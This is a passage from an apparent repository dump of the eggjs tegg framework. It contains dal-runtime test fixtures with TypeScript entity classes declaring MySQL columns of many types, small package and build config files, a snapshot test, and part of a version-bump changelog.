    "content": "import {\n  Column,\n  ColumnType,\n  Geometry,\n  GeometryCollection,\n  Index,\n  IndexType,\n  Line,\n  IndexStoreType,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  // autoExtendSize: 1024,\n  // autoIncrement: 100,\n  // avgRowLength: 1024,\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n  // compression: CompressionType.ZLIB,\n  // encryption: true,\n  // engine: 'NDB',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // insertMethod: InsertMethod.FIRST,\n  // keyBlockSize: 1024,\n  // maxRows: 1000000,\n  // minRows: 100,\n  // rowFormat: RowFormat.COMPRESSED,\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // parser: 'foo',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n    // SRID: 4326,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n    // SRID: 4326,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n    // SRID: 4326,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n    // SRID: 4326,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n    // SRID: 4326,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n    // SRID: 4326,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n    // SRID: 4326,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n    // SRID: 4326,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes/MultiPrimaryKey.ts",
    "content": "import { Column, ColumnType, Table } from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'multi_primary_key_table',\n  comment: 'multi primary key table',\n})\nexport class MultiPrimaryKey {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id1: number;\n\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id2: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes_not_overwrite_dao/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  Geometry,\n  GeometryCollection,\n  Index,\n  IndexType,\n  Line,\n  IndexStoreType,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  // autoExtendSize: 1024,\n  // autoIncrement: 100,\n  // avgRowLength: 1024,\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n  // compression: CompressionType.ZLIB,\n  // encryption: true,\n  // engine: 'NDB',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // insertMethod: InsertMethod.FIRST,\n  // keyBlockSize: 1024,\n  // maxRows: 1000000,\n  // minRows: 100,\n  // rowFormat: RowFormat.COMPRESSED,\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // parser: 'foo',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n    // SRID: 4326,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n    // SRID: 4326,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n    // SRID: 4326,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n    // SRID: 4326,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n    // SRID: 4326,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n    // SRID: 4326,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n    // SRID: 4326,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n    // SRID: 4326,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes_not_overwrite_dao/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes_to_src/package.json",
    "content": "{\n  \"name\": \"dal\",\n  \"eggModule\": {\n    \"name\": \"dal\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/fixtures/modules/generate_codes_to_src/src/Foo.ts",
    "content": "import {\n  Column,\n  ColumnType,\n  Geometry,\n  GeometryCollection,\n  Index,\n  IndexType,\n  Line,\n  IndexStoreType,\n  MultiLine,\n  MultiPoint,\n  MultiPolygon,\n  Point,\n  Polygon,\n  Table,\n} from '@eggjs/dal-decorator';\n\n@Table({\n  name: 'egg_foo',\n  comment: 'foo table',\n  // autoExtendSize: 1024,\n  // autoIncrement: 100,\n  // avgRowLength: 1024,\n  characterSet: 'utf8mb4',\n  collate: 'utf8mb4_unicode_ci',\n  // compression: CompressionType.ZLIB,\n  // encryption: true,\n  // engine: 'NDB',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // insertMethod: InsertMethod.FIRST,\n  // keyBlockSize: 1024,\n  // maxRows: 1000000,\n  // minRows: 100,\n  // rowFormat: RowFormat.COMPRESSED,\n})\n@Index({\n  keys: ['name', 'col1'],\n  type: IndexType.UNIQUE,\n  storeType: IndexStoreType.BTREE,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n})\n@Index({\n  keys: ['col1'],\n  type: IndexType.FULLTEXT,\n  comment: 'index comment\\n',\n  // engineAttribute: '{\"key\":\"value\"}',\n  // secondaryEngineAttribute: '{\"key2\":\"value2\"}',\n  // parser: 'foo',\n})\nexport class Foo {\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n      autoIncrement: true,\n      comment: 'the primary key',\n    },\n  )\n  id: number;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      uniqueKey: true,\n    },\n  )\n  name: string;\n\n  @Column(\n    {\n      type: ColumnType.VARCHAR,\n      length: 100,\n    },\n    {\n      name: 'col1',\n    },\n  )\n  col1: string;\n\n  @Column({\n    type: ColumnType.BIT,\n    length: 10,\n  })\n  bitColumn: Buffer;\n\n  @Column({\n    type: ColumnType.BOOL,\n  })\n  boolColumn: 0 | 1;\n\n  @Column({\n    type: ColumnType.TINYINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  tinyIntColumn: number;\n\n  @Column({\n    type: ColumnType.SMALLINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  smallIntColumn: number;\n\n  @Column({\n    type: ColumnType.MEDIUMINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  mediumIntColumn: number;\n\n  @Column({\n    type: ColumnType.INT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  intColumn: number;\n\n  @Column({\n    type: ColumnType.BIGINT,\n    length: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  bigIntColumn: string;\n\n  @Column({\n    type: ColumnType.DECIMAL,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  decimalColumn: string;\n\n  @Column({\n    type: ColumnType.FLOAT,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  floatColumn: number;\n\n  @Column({\n    type: ColumnType.DOUBLE,\n    length: 10,\n    fractionalLength: 5,\n    unsigned: true,\n    zeroFill: true,\n  })\n  doubleColumn: number;\n\n  @Column({\n    type: ColumnType.DATE,\n  })\n  dateColumn: Date;\n\n  @Column({\n    type: ColumnType.DATETIME,\n    precision: 3,\n  })\n  dateTimeColumn: Date;\n\n  @Column({\n    type: ColumnType.TIMESTAMP,\n    precision: 3,\n  })\n  timestampColumn: Date;\n\n  @Column({\n    type: ColumnType.TIME,\n    precision: 3,\n  })\n  timeColumn: string;\n\n  @Column({\n    type: ColumnType.YEAR,\n  })\n  yearColumn: number;\n\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  varCharColumn: string;\n\n  @Column({\n    type: ColumnType.BINARY,\n  })\n  binaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.VARBINARY,\n    length: 100,\n  })\n  varBinaryColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYBLOB,\n  })\n  tinyBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TINYTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  tinyTextColumn: string;\n\n  @Column({\n    type: ColumnType.BLOB,\n    length: 100,\n  })\n  blobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.TEXT,\n    length: 100,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  textColumn: string;\n\n  @Column({\n    type: ColumnType.MEDIUMBLOB,\n  })\n  mediumBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.LONGBLOB,\n  })\n  longBlobColumn: Buffer;\n\n  @Column({\n    type: ColumnType.MEDIUMTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  mediumTextColumn: string;\n\n  @Column({\n    type: ColumnType.LONGTEXT,\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  longTextColumn: string;\n\n  @Column({\n    type: ColumnType.ENUM,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  enumColumn: string;\n\n  @Column({\n    type: ColumnType.SET,\n    enums: ['A', 'B'],\n    characterSet: 'utf8mb4',\n    collate: 'utf8mb4_unicode_ci',\n  })\n  setColumn: string;\n\n  @Column({\n    type: ColumnType.GEOMETRY,\n    // SRID: 4326,\n  })\n  geometryColumn: Geometry;\n\n  @Column({\n    type: ColumnType.POINT,\n    // SRID: 4326,\n  })\n  pointColumn: Point;\n\n  @Column({\n    type: ColumnType.LINESTRING,\n    // SRID: 4326,\n  })\n  lineStringColumn: Line;\n\n  @Column({\n    type: ColumnType.POLYGON,\n    // SRID: 4326,\n  })\n  polygonColumn: Polygon;\n\n  @Column({\n    type: ColumnType.MULTIPOINT,\n    // SRID: 4326,\n  })\n  multipointColumn: MultiPoint;\n\n  @Column({\n    type: ColumnType.MULTILINESTRING,\n    // SRID: 4326,\n  })\n  multiLineStringColumn: MultiLine;\n\n  @Column({\n    type: ColumnType.MULTIPOLYGON,\n    // SRID: 4326,\n  })\n  multiPolygonColumn: MultiPolygon;\n\n  @Column({\n    type: ColumnType.GEOMETRYCOLLECTION,\n    // SRID: 4326,\n  })\n  geometryCollectionColumn: GeometryCollection;\n\n  @Column({\n    type: ColumnType.JSON,\n  })\n  jsonColumn: object;\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as types from '../src/index.js';\n\nit('should export stable', async () => {\n  expect(types).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/dal-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "tegg/core/dal-runtime/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/dynamic-inject/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n\n### Bug Fixes\n\n* add qualifier check ([#296](https://github.com/eggjs/tegg/issues/296)) ([5ea21ff](https://github.com/eggjs/tegg/commit/5ea21ffec61e0c4a743e84d9c8e96d8d9079b4cc))\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-dynamic-inject\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) 